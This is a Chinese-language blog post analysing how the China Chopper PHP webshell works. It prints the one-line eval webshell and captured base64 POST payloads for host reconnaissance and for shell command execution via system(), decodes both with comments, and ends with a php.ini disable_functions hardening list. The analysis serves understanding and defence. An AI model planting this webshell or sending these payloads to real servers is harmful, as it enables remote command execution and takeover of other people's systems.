C刀原理以及一些危险函数

日常使用的C刀或者其它菜刀,原理应该是类似的,利用一些像 eval() 这样的危险函数,从而以达到目的。比如像 @eval($_POST['a']); 这样的一句话木马。

使用burpsuite或者wireshark对其进行分析,C刀刚开始建立连接的时候,会以POST形式发送下面这些数据来获得主机的一些信息:

a=@eval(base64_decode($_POST[action]));&action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw==

对 action 的内容进行解码和排版之后:

<?php
//关闭所有错误报告
//错误信息可能会使二次处理失败
@ini_set("display_errors", "0");

//最大的执行时间,单位为秒。如果设置为0(零),没有时间方面的限制。 
@set_time_limit(0);

//设置运行时不从外部资源产生的数据使用自动字符串转义( ‘ ” \ NULL )。
//大多数函数从外部资源(数据库,文本文件等)返回数据都不会被转义。
//例如:用SQL查询得到的数据,用exec()函数得到的数据,等等
//此函数在PHP 5.3.0中已弃用,并且自PHP 7.0.0起已删除。
@set_magic_quotes_runtime(0);

//使用特殊的开头和结尾,方便程序识别
echo ("->|");
;
//当前执行脚本的绝对路径。 
$D = dirname($_SERVER["SCRIPT_FILENAME"]);

if ($D == "") {
    //当前脚本所在文件系统(非文档根目录)的基本路径。
    //这是在服务器进行虚拟到真实路径的映像后的结果。 
    $D = dirname($_SERVER["PATH_TRANSLATED"]);
}

$R = "{$D}\t";

//如果是Windows的话,还要进行二次处理,显示所在的驱动器
if (substr($D, 0, 1) != "/") {
    foreach (range("A", "Z") as $L) {
        if (is_dir("{$L}:")) {
            $R .= "{$L}:";
        }
    }
}

$R .= "\t";

// 得到数组
// array (
//     'name' => 'www-data',
//     'passwd' => 'x',
//     'uid' => 33,
//     'gid' => 33,
//     'gecos' => 'www-data',
//     'dir' => '/var/www',
//     'shell' => '/usr/sbin/nologin',
//   )
$u = (function_exists('posix_getegid')) ? 
    @posix_getpwuid(@posix_geteuid()) :
    '';

//获得用户名
$usr = ($u) ? 
    $u['name'] :
    @get_current_user();

//获得系统信息
$R .= php_uname();

$R .= "({$usr})";

print $R;
;
echo ("|<-");

die();

建立连接后就是正常的webshell,下面是进行webshell时截取的post(以ls命令为例):

a=@eval(base64_decode($_POST[action]));&action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjskcj0ieyRwfSB7JGN9IjtAc3lzdGVtKCRyLiIgMj4mMSIsJHJldCk7cHJpbnQgKCRyZXQhPTApPyIKcmV0PXskcmV0fQoiOiIiOztlY2hvKCJ8PC0iKTtkaWUoKTs=&z1=L2Jpbi9zaA==&z2=Y2QgIi92YXIvd3d3L2h0bWwvIjtscztlY2hvIFtTXTtwd2Q7ZWNobyBbRV0=

action 是POST的执行体,z1 是执行的程序, z2 是执行的命令,将内容进行解码和排版之后:

<?php
@ini_set("display_errors", "0");

@set_time_limit(0);

@set_magic_quotes_runtime(0);

echo ("->|");;

// /bin/sh
$p = base64_decode($_POST["z1"]);
$p= '/bin/sh';

// cd "/var/www/html/";ls;echo [S];pwd;echo [E]
$s = base64_decode($_POST["z2"]);
$s='cd "/var/www/html/";ls;echo [S];pwd;echo [E]';

$d = dirname($_SERVER["SCRIPT_FILENAME"]);

$c = substr($d, 0, 1) == "/" ?
    "-c \"{$s}\"" : 
    "/c \"{$s}\"";

$r = "{$p} {$c}";

@system($r . " 2>&1", $ret);

print($ret != 0) ? 
    "ret={$ret}" : 
    "";
;
echo ("|<-");
die();

因为存在像 eval 这样的函数,服务器会变得很危险,而且这个函数一般开发人员都不会去用,只会给心术不正的人可乘之机,可以在php.ini中禁用这类函数,只需要在php.ini 中加入:

disable_functions =eval,assert,phpinfo,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

再重启相应的web服务即可。

根据PHP的官方文档

disable_functions "" php.ini only 从 PHP 4.0.1 起可用。
也就是说只能在php.ini设置

所以如果你不是管理员那就很麻烦了。